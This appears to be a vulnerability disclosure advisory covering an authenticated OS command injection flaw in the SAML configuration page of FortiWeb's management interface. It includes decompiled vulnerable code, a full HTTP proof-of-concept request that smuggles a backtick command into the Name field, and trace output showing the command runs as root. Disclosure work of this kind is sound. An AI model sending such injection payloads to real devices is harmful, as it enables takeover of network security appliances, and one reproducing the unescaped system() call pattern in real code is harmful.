Last updated at Wed, 27 Dec 2023 14:59:55 GMT
An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This is an instance of CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') and has a CVSSv3 base score of 8.7. This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120.
Product Description
Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor's website.
Credit
This issue was discovered by researcher William Vu of Rapid7. It is being disclosed in accordance with Rapid7's vulnerability disclosure policy.
Exploitation
An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the "Name" field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:
int move_metafile(char *path,char *name)
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = access(buf,0);
if (iVar1 != 0) {
snprintf(buf,0x200,"mkdir %s/%s","/data/etc/saml/shibboleth/service_providers",name);
iVar1 = system(buf);
if (iVar1 != 0) {
return iVar1;
}
}
snprintf(buf,0x200,"cp %s %s/%s/%s.%s",path,"/data/etc/saml/shibboleth/service_providers",name,
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
The HTTP POST request and response below demonstrates an example exploit of this vulnerability:
POST /api/v2.0/user/remoteserver.saml HTTP/1.1
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/root/user/remote-user/saml-user/
X-Csrftoken: 814940160
Content-Type: multipart/form-data; boundary=---------------------------94351131111899571381631694412
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="q_type"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="name"
`touch /tmp/vulnerable`
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="entityID"
test
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="service-path"
/saml.sso
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-lifetime"
8
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="session-timeout"
30
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="sso-path"
/SAML2/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind"
post
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-bind_val"
1
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="slo-path"
/SLO/POST
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="flag"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing"
disable
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="enforce-signing_val"
0
-----------------------------94351131111899571381631694412
Content-Disposition: form-data; name="metafile"; filename="test.xml"
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md="urn:oasis:names:tc:SAML:2.0:metadata" validUntil="2021-06-12T16:54:31Z" cacheDuration="PT1623948871S" entityID="test">
<md:IDPSSODescriptor WantAuthnRequestsSigned="false" protocolSupportEnumeration="urn:oasis:names:tc:SAML:2.0:protocol">
<md:KeyDescriptor use="signing">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encryption">
<ds:KeyInfo xmlns:ds="http://www.w3.org/2000/09/xmldsig#">
<ds:X509Data>
<ds:X509Certificate>test</ds:X509Certificate>
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:names:tc:SAML:1.1:nameid-format:unspecified</md:NameIDFormat>
<md:SingleSignOnService Binding="urn:oasis:names:tc:SAML:2.0:bindings:HTTP-Redirect" Location="test"/>
</md:IDPSSODescriptor>
</md:EntityDescriptor>
-----------------------------94351131111899571381631694412--
HTTP/1.1 500 Internal Server Error
Date: Thu, 10 Jun 2021 11:59:45 GMT
Cache-Control: no-cache, no-store, must-revalidate
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=block
Content-Security-Policy: frame-ancestors 'self'
X-Content-Type-Options: nosniff
Content-Length: 20
Strict-Transport-Security: max-age=63072000
Connection: close
Content-Type: application/json
{"errcode": "-651"}
Note the smuggled 'touch' command is concatenated in the mkdir shell command:
[pid 12867] execve("/migadmin/cgi-bin/fwbcgi", ["/migadmin/cgi-bin/fwbcgi"], 0x55bb0395bf00 /* 42 vars */) = 0
[pid 13934] execve("/bin/sh", ["sh", "-c", "mkdir /data/etc/saml/shibboleth/service_providers/`touch /tmp/vulnerable`"], 0x7fff56b1c608 /* 42 vars */) = 0
[pid 13935] execve("/bin/touch", ["touch", "/tmp/vulnerable"], 0x55774aa30bf8 /* 44 vars */) = 0
[pid 13936] execve("/bin/mkdir", ["mkdir", "/data/etc/saml/shibboleth/service_providers/"], 0x55774aa30be8 /* 44 vars */) = 0
Finally, the results of the 'touch' command can be seen on the local command line of the FortiWeb device:
/# ls -l /tmp/vulnerable
-rw-r--r-- 1 root 0 0 Jun 10 11:59 /tmp/vulnerable
/#
Impact
An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining software, or other malicious software. In the unlikely event the management interface is exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.
Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015.
Remediation
In the absence of a patch, users are advised to disable the FortiWeb device's management interface from untrusted networks, which would include the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.
Disclosure Timeline
- June, 2021: Issue discovered and validated by William Vu of Rapid7
- Thu, Jun 10, 2021: Initial disclosure to the vendor via their PSIRT Contact Form
- Fri, Jun 11, 2021: Acknowledged by the vendor (ticket 132097)
- Wed, Aug 11, 2021: Follow up with the vendor
- Tue, Aug 17, 2021: Public disclosure via this post
- Tue, Aug 17, 2021: Vendor indicated that Fortiweb 6.4.1 is expected to include a fix, and will be released at the end of August